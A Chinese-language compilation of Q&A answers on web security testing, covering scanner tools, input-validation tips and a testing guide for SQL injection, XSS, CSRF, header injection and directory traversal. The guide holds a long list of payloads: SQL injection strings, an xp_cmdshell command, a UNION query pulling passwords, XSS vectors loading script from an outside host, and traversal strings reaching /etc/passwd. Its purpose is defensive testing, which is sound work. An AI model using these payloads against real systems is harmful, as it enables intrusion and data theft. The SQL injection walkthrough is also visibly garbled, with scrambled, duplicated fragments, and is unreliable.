Ⅰ 如何檢測一個網站是否有安全漏洞
掃描網站漏洞是要用專業的掃描工具，下面就是介紹幾種工具
1. Nikto
這是一個開源的Web伺服器掃描程序，它可以對Web伺服器的多種項目進行全面的測試。其掃描項目和插件經常更新並且可以自動更新。Nikto可以在盡可能短的周期內測試你的Web伺服器，這在其日誌文件中相當明顯。不過，如果你想試驗一下，它也可以支持 LibWhisker的反IDS方法。不過，並非每一次檢查都可以找出一個安全問題，雖然多數情況下是這樣的。有一些項目是僅提供信息類型的檢查，這種檢查可以查找一些並不存在安全漏洞的項目，不過Web管理員或安全工程師們並不知道。
2. Paros proxy
這是一個對Web應用程序的漏洞進行評估的代理程序，即一個基於Java的web代理程序，可以評估Web應用程序的漏洞。它支持動態地編輯/查看 HTTP/HTTPS,從而改變cookies和表單欄位等項目。它包括一個Web通信記錄程序，Web圈套程序，hash 計算器，還有一個可以測試常見的Web應用程序攻擊的掃描器。
3. WebScarab:
它可以分析使用HTTP和HTTPS協議進行通信的應用程序，WebScarab可以用最簡單地形式記錄它觀察的會話，並允許操作人員以各種方式觀查會話。如果你需要觀察一個基於HTTP(S)應用程序的運行狀態，那麼WebScarabi就可以滿足你這種需要。不管是幫助開發人員調試其它方面的難題，還是允許安全專業人員識別漏洞，它都是一款不錯的工具。
4. WebInspect：
這是一款強大的Web應用程序掃描程序。SPI Dynamics的這款應用程序安全評估工具有助於確認Web應用中已知的和未知的漏洞。它還可以檢查一個Web伺服器是否正確配置，並會嘗試一些常見的 Web攻擊，如參數注入、跨站腳本、目錄遍歷攻擊等等。
5. Whisker/libwhisker :
Libwhisker是一個Perla模塊，適合於HTTP測試。它可以針對許多已知的安全漏洞，測試HTTP伺服器，特別是檢測危險CGI的存在。 Whisker是一個使用libwhisker的掃描程序。
6. Burpsuite：
這是一個可以用於攻擊Web應用程序的集成平台。Burp套件允許一個攻擊者將人工的和自動的技術結合起來，以列舉、分析、攻擊Web應用程序，或利用這些程序的漏洞。各種各樣的burp工具協同工作，共享信息，並允許將一種工具發現的漏洞形成另外一種工具的基礎。
7. Wikto:
可以說這是一個Web伺服器評估工具，它可以檢查Web伺服器中的漏洞，並提供與Nikto一樣的很多功能，但增加了許多有趣的功能部分，如後端 miner和緊密的Google集成。它為MS.NET環境編寫，但用戶需要注冊才能下載其二進制文件和源代碼。
8. Acunetix Web Vulnerability Scanner :
這是一款商業級的Web漏洞掃描程序，它可以檢查Web應用程序中的漏洞，如sql注入、跨站腳本攻擊、身份驗證頁上的弱口令長度等。它擁有一個操作方便的圖形用戶界面，並且能夠創建專業級的Web站點安全審核報告。
9. Watchfire AppScan：
這也是一款商業類的Web漏洞掃描程序。AppScan在應用程序的整個開發周期都提供安全測試，從而測試簡化了部件測試和開發早期的安全保證。它可以掃描許多常見的漏洞，如跨站腳本攻擊、HTTP響應拆分漏洞、參數篡改、隱式欄位處理、後門/調試選項、緩沖區溢出等等。
10. N-Stealth：
N-Stealth是一款商業級的Web伺服器安全掃描程序。它比一些免費的Web掃描程序，如Whisker/libwhisker、 Nikto等的升級頻率更高。還要注意，實際上所有通用的VA工具，如Nessus, ISS Internet Scanner, Retina, SAINT, Sara等都包含Web 掃描部件。N-Stealth主要為Windows平台提供掃描，但並不提供源代碼。
Ⅱ 如何檢測Web應用程序的安全
檢測Web應用程序的安全可以採用的方法有：Web滲透測試和代碼審計。Web滲透測試可以找專業的安全測試團隊來做，如果是個人網站也可以自己用Web漏洞掃描工具自己大致掃描一下，比如OWASP ZAP和Vega，都是很優秀的Web漏洞掃描工具，可以檢測大部分Web漏洞。然後再用個Web應用防火牆，就能保證基本的安全了。
Ⅲ web應用安全測試用那個軟體比較好呢
: Skipfish是一種活躍的Web應用程序安全偵察工具.它通過執行遞歸爬網和基於字典的探針為目標站點准備互動式站點地圖.然後使用許
Ⅳ web系統為什麼要做安全測試
如果你不想讓你的網站成為黑客的"旅遊勝地",那麼最好做個安全測試,另一方面也是為了保證你的web服務能夠正常運行.
Ⅳ 如何進行Web應用的安全測試和輸入校驗
下面這幾個注意事項或許可以幫你一些
1. 找到Web應用所有的輸入點，找到所有的能接受用戶輸入的地方，漏掉輸入點也就漏掉了可能存在的縫。
2. 過濾每一個輸入點，為每個輸入點設定相應的校驗規則和邊界。
3. 不要忘記校驗哪些隱藏域，cookie和url參數。
4. 驗證從資料庫裡面得到的數據，這個是最容易忽視的地方，不要相信來自資料庫裡面的數據就是合法的數據。
5. 你是如何做輸入校驗的？ javascript？如果只是用javascript做客戶端校驗, 風險還是很大的，一定要確保加上服務端的校驗，否則如果客戶端禁用了javascript或者客戶端代碼被人工修改，非法數據還是會進入系統內部的。
6. 隱藏異常信息，再周全的校驗也不可能覆蓋所有的case，如果非法數據造成了系統的異常，不要將詳細的異常信息暴露給客戶端，這些異常信息有可能成為系統的攻擊入口。
在做輸入校驗的時候，從「什麼樣的輸入才是合法的」入手會降低驗證失效的風險，應該只為每個輸入點的輸入內容制定一個有限的，剛好夠用的合法范圍，除此之外的所有內容都當做是非法的。而從「什麼樣的輸入是不合法的」入手則會增加驗證失效的可能，因為你不可能窮舉非法的輸入。
Ⅵ 介紹一款免費的web安全漏洞掃描軟體
你好！以下這款一直在用真心不錯
打開騰訊電腦管家----工具箱----硬體檢測----修復漏洞。
按以上步驟，你試著操作下，看能否幫你解決。
騰訊電腦管家是一款免費安全軟體，能預防和解決計算機上常見的安全風險。擁有雲查殺木馬，系統加速，漏洞修復，實時防護，網速保護，電腦診所，廣告過濾，軟體管理等功能。
Ⅶ 如何進行WEB安全性測試
安全性測試主要從以下方面考慮 主要從以下方面考慮： WEB 的安全性測試主要從以下方面考慮： Injection(SQL 注入) 1.SQL Injection(SQL 注入) (1)如何進行 SQL 注入測試? 首先找到帶有參數傳遞的 URL 頁面,如 搜索頁面,登錄頁面,提交評論頁面等等. 注 1:對 於未明顯標識在 URL 中傳遞參數的,可以通過查看 HTML 源代碼中的 "FORM"標簽來辨別是否還有參數傳遞.在<FORM> 和</FORM>的標簽中間的每一個 參數傳遞都有可能被利用. <form id="form_search" action="/search/" method="get"> <div> <input type="text" name="q" id="search_q" value="" /> <input name="search" type="image" src="/media/images/site/search_btn.gif" /> <a href="/search/" class="fl">Gamefinder</a> </div> </form> 注 2:當你找不到有輸入行為的頁面時,可以嘗試找一些帶有某些參數的特殊的 URL,如 http://DOMAIN/INDEX.ASP?ID=10 其 次,在 URL 參數或表單中加入某些特殊的 SQL 語句或 SQL 片斷,如在登 錄頁面的 URL 中輸入 http://DOMAIN /INDEX.ASP?USERNAME=HI' OR 1=1-注 1：根據實際情況,SQL 注入請求可以使用以下語句: ' or 1=1- " or 1=1- or 1=1- ' or 'a'='a " or "a"="a ') or ('a'='a 注 2：為什麼是 OR， 以及',――是特殊的字元呢？ 例子：在登錄時進行身份驗證時，通常使用如下語句來進行驗證：sql=select * from user where username='username' and pwd='password' 如 輸入 http://ck/index.asp?username=admin' admin' or 1='1&pwd=11，SQL 語句會變成以下：sql=select 11 1='1 username='admin' or 1='1 and password='11 admin' 1='1' 11' 11 * from user where ' 與 admin 前面的'組成了一個查詢條件,即 username='admin',接下來的語句將 按下一個查詢條件來執行. 接 下來是 OR 查詢條件,OR 是一個邏輯運 算符， 在判斷多個條件的時候， 只要一 個成立，則等式就成立，後面的 AND 就不再時行判斷了，也就是 說我們繞過了密碼 驗證，我們只用用戶名就可以登錄. 如 輸入 http://ck/index.asp?username=admin'--&pwd=11，SQL 語 admin'-admin'-11 句會 變成以下 sql=select * from user where name='admin' -- and pasword='11', admin' --' 1 '與 admin 前面的'組成了一個查 詢條件,即 username='admin',接下來的語句將按 下一個查詢條件來執行 接下來是"--"查詢條件,「--」是忽略或注釋,上 述通過連接符注釋掉後面的密碼驗 證(注:對 ACCESS 資料庫 資料庫無 效). 最後,驗證是否能入侵成功或是出錯的信息是否包含關於資料庫伺服器 的相關信息;如 果 能說明存在 SQL 安 全漏洞. 試想,如果網站存在 SQL 注入的危險,對於有經驗的惡意用戶還可能猜出資料庫表和表結 構,並對資料庫表進行增\刪\改的操 作,這樣造成的後果是非常嚴重的. (2)如何預防 SQL 注入? 從應用程序的角度來講,我們要做以下三項工作 工作: 工作 轉義敏感字元及字元串(SQL 的敏感字元包括 「exec」,」xp_」,」sp_」,」declare」,」Union」,」cmd」,」+」,」//」,」..」,」;」,」『」,」--」,」%」,」0x」,」><=!-*/()|」, 和」空格」). 屏蔽出錯信息：阻止攻擊者知道攻擊的結果 在服務端正式處理之前提交數據的合法性(合法性檢查主要包括三 項:數據類型,數據長度,敏感 字元的校驗)進行檢查等。最根本的解決手段,在確認客 戶端的輸入合法之前,服務端拒絕進行關 鍵性的處理操作. 從測試人員的角度來講,在程序開發前(即需求階段),我們就應該有意識的將 安全性檢查應用到需求測試中,例如對一個表單需求進行檢查時,我們一般檢驗 以下幾項安全性問題: 需求中應說明表單中某一 FIELD 的類型,長度,以及取值范圍(主要作用就 是禁止輸入敏感字元) 需求中應說明如果超出表單規定的類型,長度,以及取值范圍的,應用程序 應給出不包含任何代碼或資料庫信息的錯誤提示. 當然在執行測試的過程中,我們也需求對上述兩項內容進行測試. 2.Crossscritping(XSS):(跨站點腳本攻擊 跨站點腳本攻擊) 2.Cross-site scritping(XSS):(跨站點腳本攻擊) (1)如何進行 XSS 測試? <!--[if !supportLists]-->首先,找到帶有參數傳遞的 URL,如 交評論,發表留言 頁面等等。 登錄頁面,搜索頁面,提 <!--[if !supportLists]-->其次,在頁面參數中輸入如下語句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)來進行測試： <scrīpt>alert(document.cookie)</scrīpt> 注:其它的 XSS 測試語句 ><scrīpt>alert(document.cookie)</scrīpt> ='><scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(vulnerable)</scrīpt> %3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E <scrīpt>alert('XSS')</scrīpt> <img src="javascrīpt:alert('XSS')"> %0a%0a<scrīpt>alert(\"Vulnerable\")</scrīpt>.jsp %22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html %3f.jsp %3f.jsp <scrīpt>alert('Vulnerable');</scrīpt> <scrīpt>alert('Vulnerable')</scrīpt> ?sql_debug=1 a%5c.aspx a.jsp/<scrīpt>alert('Vulnerable')</scrīpt> a/ a?<scrīpt>alert('Vulnerable')</scrīpt> "><scrīpt>alert('Vulnerable')</scrīpt> ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&& %22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E %3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E& %3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID= 1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= ../../../../../../../../etc/passwd ..\..\..\..\..\..\..\..\windows\system.ini \..\..\..\..\..\..\..\..\windows\system.ini '';!--"<XSS>=&{()} <IMG SRC="javascrīpt:alert('XSS');"> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert("XSS")> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC="jav ascrīpt:alert('XSS');"> <IMG SRC="jav ascrīpt:alert('XSS');"> <IMG SRC="jav ascrīpt:alert('XSS');"> "<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out <IMG SRC=" javascrīpt:alert('XSS');"> <scrīpt>a=/XSS/alert(a.source)</scrīpt> <BODY BACKGROUND="javascrīpt:alert('XSS')"> <BODY ōNLOAD=alert('XSS')> <IMG DYNSRC="javascrīpt:alert('XSS')"> <IMG LOWSRC="javascrīpt:alert('XSS')"> <BGSOUND SRC="javascrīpt:alert('XSS');"> <br size="&{alert('XSS')}"> <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer> <LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');"> <IMG SRC='vbscrīpt:msgbox("XSS")'> <IMG SRC="mocha:[code]"> <IMG SRC="livescrīpt:[code]"> <META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');"> <IFRAME SRC=javascrīpt:alert('XSS')></IFRAME> <FRAMESET><FRAME SRC=javascrīpt:alert('XSS')></FRAME></FRAMESET> <TABLE BACKGROUND="javascrīpt:alert('XSS')"> <DIV STYLE="background-image: url(javascrīpt:alert('XSS'))"> <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"> <DIV STYLE="width: expression(alert('XSS'));"> <IMG SRC=javascript:ale&#x <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <IMG STYLE='xss:expre\ssion(alert("XSS"))'> <STYLE TYPE="text/javascrīpt">alert('XSS');</STYLE> <STYLE type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE> <BASE HREF="javascrīpt:alert('XSS');//"> getURL("javascrīpt:alert('XSS')") a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d); <XML SRC="javascrīpt:alert('XSS');"> "> <BODY ōNLOAD="a();"><scrīpt>function a(){alert('XSS');}</scrīpt><" <scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt> <IMG SRC="javascrīpt:alert('XSS')" <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> <scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A> <STYLE TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')");}</STYLE><A CLASS=XSS>< <!--#exec cmd="/bin/echo '<scrīpt SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></scrīp 最後,當用戶瀏覽 時便會彈出一個警告框，內容顯示的是瀏覽者當前的 cookie 串,這就 說明該網站存在 XSS 漏洞。 試想如果我們注入的不是以上這個簡單的測試代碼，而是一段經常精心設計的惡意腳 本，當用戶瀏覽此帖時，cookie 信息就可能成功的被 攻擊者獲取。此時瀏覽者的帳號 就很容易被攻擊者掌控了。 (2)如何預防 XSS 漏洞? 從應用程序的角度來講,要進行以下幾項預防: 對 Javascrīpt,VB scrīpt, HTML,ActiveX, Flash 等 語句或腳本進行轉義. 在 服務端正式處理之前提交數據的合法性(合法性檢查主要包括三項:數據類型,數據長度,敏感 字元的校驗)進行檢查等。最根本的解決手段,在確認客戶端的輸入合法之前,服務端 拒絕進行關 鍵性的處理操作. 從測試人員的角度來講,要從需求檢查和執行測試過程兩個階段來完成 XSS 檢查: 在需求檢查過程中對各輸入項或輸出項進行類型、長度以及取 值范圍進 行驗證，著重驗證是否對 HTML 或腳本代碼進行了轉義。 執行測試過程中也應對上述項進行檢查。 3.CSRF:(跨站點偽造請求) 3.CSRF:(跨站點偽造請求) CSRF:(跨站點偽造請求 CSRF 盡管聽起來像跨站腳本（XSS），但它與 XSS 非常不同，並且攻擊方式 幾乎相左。 XSS 是利用站點內的信任用戶，而 CSRF 則通過偽裝來自受信任用戶的請求 來利用受信任的網站。 XSS 也好， CSRF 也好， 它的目的在於竊取用戶的信息， SESSION 和 COOKIES 如 （關於 SESSION 和 COOKIES 的介紹請參見我的另一篇 BLOG： http://www.51testing.com/?49689/action_viewspace_itemid_74885.html）， (1)如何進行 CSRF 測試？ 關於這個主題本人也正在研究，目前主要通過安全性測試工具來進行檢查。 (2)如何預防 CSRF 漏洞？ 請參見 http://www.hanguofeng.cn/archives/security/preventing-csrf 請 參見 http://getahead.org/blog/joe/2007/01/01/csrf_attacks_or_how_to_ avoid_exposing_your_gmail_contacts.html Injection(郵件標頭注入 郵件標頭注入) 4.Email Header Injection(郵件標頭注入) Email Header Injection：如果表單用於發送 email,表單中可能包括 「subject」輸入項（郵件標題），我們要驗證 subject 中應能 escape 掉「\n」 標識。 <!--[if !supportLists]--><!--[endif]-->因為「\n」是新行，如果在 subject 中輸入「hello\ncc:[email protected]」，可能會形成以 下 Subject: hello cc: [email protected] <!--[if !supportLists]--><!--[endif]-->如果允許用戶使用這樣的 其它用 subject， 那他可能會給利用這個缺陷通過我們的平台給其它 戶發送垃 其它 圾郵件。 Traversal(目錄遍歷 目錄遍歷) 5.Directory Traversal(目錄遍歷) （1）如何進行目錄遍歷測試？ 目錄遍歷產生的原因是：程序中沒有過濾用戶輸入的「../」和「./」之 類的目錄跳轉符,導致惡意用戶可以通過提交目錄跳轉來遍歷伺服器上的 任意文件。 測試方法： URL 中輸入一定數量的 在 「../」 「./」 驗證系統是否 ESCAPE 和 ， 掉了這些目錄跳轉符。 （2）如何預防目錄遍歷？ 限制 Web 應用在伺服器上的運行 進 行嚴格的輸入驗證，控制用戶輸入非法路徑 messages(錯誤信息 錯誤信息) 6.exposed error messages(錯誤信息) （1）如何進行測試？ 首 先找到一些錯誤頁面，比如 404,或 500 頁面。 驗證在調試未開通過的情況下， 是否給出了友好的錯誤提示信息比如「你 訪問的頁面不存 在」等，而並非曝露一些程序代碼。 （2）如何預防？ 測試人員在進行需求檢查時，應該對出錯信息 進行詳細查，比如是否給 出了出錯信息，是否給出了正確的出錯信息。
Ⅷ 比較好的web安全掃描工具有哪些
隨著網站業務所承載內容的日益增多且重要性日益增強，網站本身的價值也越來越大，隨之由網站漏洞帶來的安全性問題也愈發嚴峻。新開通網站、新增專欄的准入質量評估，網站系統日常運行狀況的檢查預防和風險掌控，這些已成為各行業每年安全大檢查中的關鍵要素。作為具體落實定期檢查工作的安全人員，也急需選擇一款優秀的網站掃描產品進行高效徹底的Web脆弱性評估檢查，而如何選擇一款真正實用的產品成為一個比較糾結的難題。
常見Web掃描方案的優劣勢
目前常見的支持Web掃描解決方案的產品有很多，大家比較熟悉的有集成Web掃描模塊的多合一系統掃描器，網上可免費下載的開源掃描器軟體以及近幾年剛嶄露頭角的獨立Web掃描器產品等，都可以進行一定程度的Web安全掃描和漏洞發現。那麼面對如此琳琅滿目的選擇時，大家如何細致區分辨識其差異，就需嚴格立足於實際需要，最終做出最佳的判斷。
多合一的系統掃描器，通常會集主機掃描、配置核查、Web掃描及弱口令掃描於一身，是一款強大全面的多功能產品。但多合一的高度封裝導致其在進行安全掃描時，除不能分配全部計算資源在Web掃描方面，掃描引擎自身還要兼顧到全方位的權衡與調優。反觀目標Web應用呈現的種類多樣性、規模龐大性和運行特殊性，在面對動輒上萬、十萬甚至百萬級別網頁數量的網站時，這種多合一產品就表現得差強人意，使用起來有種牛拉火車的感覺;同時，高效執行掃描評估就必須具備高並發的網頁鏈接爬蟲識別和Web插件交互邏輯判斷能力，這一現實的沖突導致多合一掃描器在Web掃描及性能體驗方面效果平平，優勢不突出。
網上開源的Web掃描器軟體，盡管完全免費並可以發現一些基本的漏洞信息，但其在第一時間發現新爆Web漏洞和漏洞趨勢跟蹤分析、修補方面，完全不具備後期支撐能力。而且在人性化設計及低學習門檻方面也存在太多先天的不足，其性能與穩定性更是與商業軟體相差甚遠。
面對綜上同類產品，困惑於Web掃描場景需求種種局限的我們，很欣喜地看到了近幾年聲名鵲起的Web掃描器產品。它作為一款自動化評估類工具，依據制定的策略對Web應用系統進行URL深度發現並全面掃描，尋找出Web應用真實存在的安全漏洞，如跨站點腳本、SQL注入，命令執行、目錄遍歷和不安全的伺服器配置。Web掃描器產品可以通過主動生成統計分析報告來幫助我們正確了解Web應用漏洞的詳細分布、數量和風險優先順序，並對發現的安全漏洞提出相應有力的改進意見供後續修補參考，是幫助我們高效徹底地進行Web脆弱性評估檢查的堅實利器。
Web掃描器的三個誤區
針對現有市面上諸多品牌的Web掃描器，大家在評價它們孰優孰劣時時常過於片面極端，主要表現為三個認識誤區。
誤區1：多就是好!
認為漏洞庫條目多，檢查出來的漏洞多就是好。Web掃描器面對龐大繁多、千差萬別的應用系統，為提升檢測性能，多採用高效率的Web通用插件，以一掃多，其不再局限於某個專門應用系統，深層次聚合歸並，盡可能多地發現多種應用系統的同類漏洞。同時，對於掃描出來的非誤報漏洞，若同屬某一頁面不同參數所致的相同漏洞，歸納整理，讓最終呈現的漏洞報表簡約而不簡單，避免數量冗餘、雜亂無章。故若以毫無插件歸並能力，僅靠大量專門Web系統插件、羅列各類漏洞列表數量多來博取贊許的Web掃描器，其本質存在太多的不專業性。
誤區2：快就是好!
認為掃描速度快耗時短的就是好。網站規模日趨復雜，日常檢查時我們期待Web掃描器能有更高效率地完成掃描任務，這點無可厚非，但檢查的本質是要最大限度地提前發現足夠多的漏洞，並第一時間制定後續相應的修補計劃。故在面對同一目標站點時，Web掃描器若能在單位時間內檢測出來的有效存在漏洞數越多，這個快才是真的好。
誤區3：小就是好!
認為掃描過程中對目標業務影響小就是好!這句話本身也沒有問題，只要Web掃描器在執行掃描過程中，對目標系統負載響應和網路鏈路帶寬佔用，影響足夠小，也就是我們常說的「無損掃描」，它就具備了一款優秀Web掃描器應有的先決條件。但是，這必須是在能最大限度發現Web漏洞的前提下才能考慮的關鍵因素，脫離這個產品本質，就本末倒置了。
五個基本評優標准
那麼，評優一款Web掃描器，我們該從何處著手?具體的判斷標准有哪些呢?
全——識別種類繁多的Web應用，集成最全的Web通用插件，通過全面識別網站結構和內容，逐一判斷每一種漏洞可能性，換句話說，漏洞掃描的檢測率一定要高，漏報率務必低，最終才能輸出全面詳盡的掃描報告。這就要求其在Web應用識別方面，支持各類Web語言類型(php、asp、.net、html)、應用系統類型(門戶網站、電子政務、論壇、博客、網上銀行)、應用程序類型(IIS、Apache、Tomcat)、第三方組件類型(Struts2、WebLogic、WordPress)等;插件集成方面，支持國際標准漏洞分類OWASP TOP 10和WASC插件分類模板，允許自定義掃描插件模板，第一時間插件更新速度等。
准——較高的漏洞准確性是Web掃描器權威的象徵，可視化分析可助用戶准確定位漏洞、分析漏洞。而誤報是掃描類產品不能迴避的話題。Web掃描器通過通用插件與目標站點任一URL頁面進行邏輯交互，通過可視化的漏洞跟蹤技術，精準判斷和定位漏洞，並提供易讀易懂的詳細整改分析報告。除此之外，一款好的Web掃描器還要更具人性化，在漏洞發現後，允許掃描者進行手工、自動的漏洞批量驗證，進而雙重保障較高的准確性結果。
快——快速的掃描速度，才能在面對越來越大的網站規模，越發頻繁的網站檢查時游刃有餘，進度保障。一款快速的Web掃描器除了有強勁馬力的掃描引擎，高達百萬/天的掃描速度，還要具備彈性靈活的集群掃描能力，任意增添掃描節點，輕松應對可能苛刻的掃描周期時間要求。
穩——穩定可靠的運行過程，對目標環境近乎零影響的Web掃描器，才能在諸行業大面積投入使用，特別是一些對業務影響要求苛刻的行業會更受青睞，畢竟沒有人能夠接受一款評估類產品，會對目標造成額外的損傷。市面上現在已有一些Web掃描器產品，其通過周期探尋目標系統，網路鏈路，自身性能負載等機制，依據目標環境的負載動態變化而自動調節掃描參數，從而保障掃描過程的足夠穩定和幾乎零影響。此外，隨著網站規模，檢查范圍的不斷擴大，保證持續穩定的掃描執行和統計評估，盡量避免掃描進度的半途而廢，也提出了較高的可靠性運行要求。
易——人性化的界面配置，低成本的報表學習和強指導性修補建議。尤其是漏洞分布詳情和場景重現方面，市面上大多數Web掃描器的報表都需要專業安全人員的二次解讀後，普通的安全運維檢查人員才能看懂，才知道長達百頁報表給出的重要建議和下一步的具體修補措施，這無疑給使用者造成了較高的技術門檻，那麼如何解決此易讀、易用問題，就成為評定其優劣與否的一個重要指標。
總之，一款優秀的Web掃描器產品，它需要嚴格恪守五字核心方針，全、准、快、穩、易，做到全方位均衡，這樣才能做到基本優秀。同時，隨著網站檢查訴求的日益多元化，它若能附帶一些差異化特性，滿足大家不同場景的網站安全運維掃描要求，如網站基本信息搜集，漏洞全過程時間軸跟蹤，逐步可視化的漏洞驗證和場景重現，自動修補直通車等，定會大大增加該款掃描器的評優力度。
Ⅸ web應用安全測試用哪個軟體比較好呢
檢測Web應用程序的安全可以採用的方法有：Web滲透測試和代碼審計。
Web滲透測試可以找專業的安全測試團隊來做，如果是個人網站也可以自己用Web漏洞掃描工具自己大致掃描一下，比如OWASP ZAP和Vega，都是很優秀的Web漏洞掃描工具，可以檢測大部分Web漏洞。
然後再用個Web應用防火牆，就能保證基本的安全了。
Ⅹ web應用安全應該怎麼測試呢
用MicroFocus的Fortify來測試呀，它可以檢測出你的web裡面有沒有存在的漏洞，挺實用的。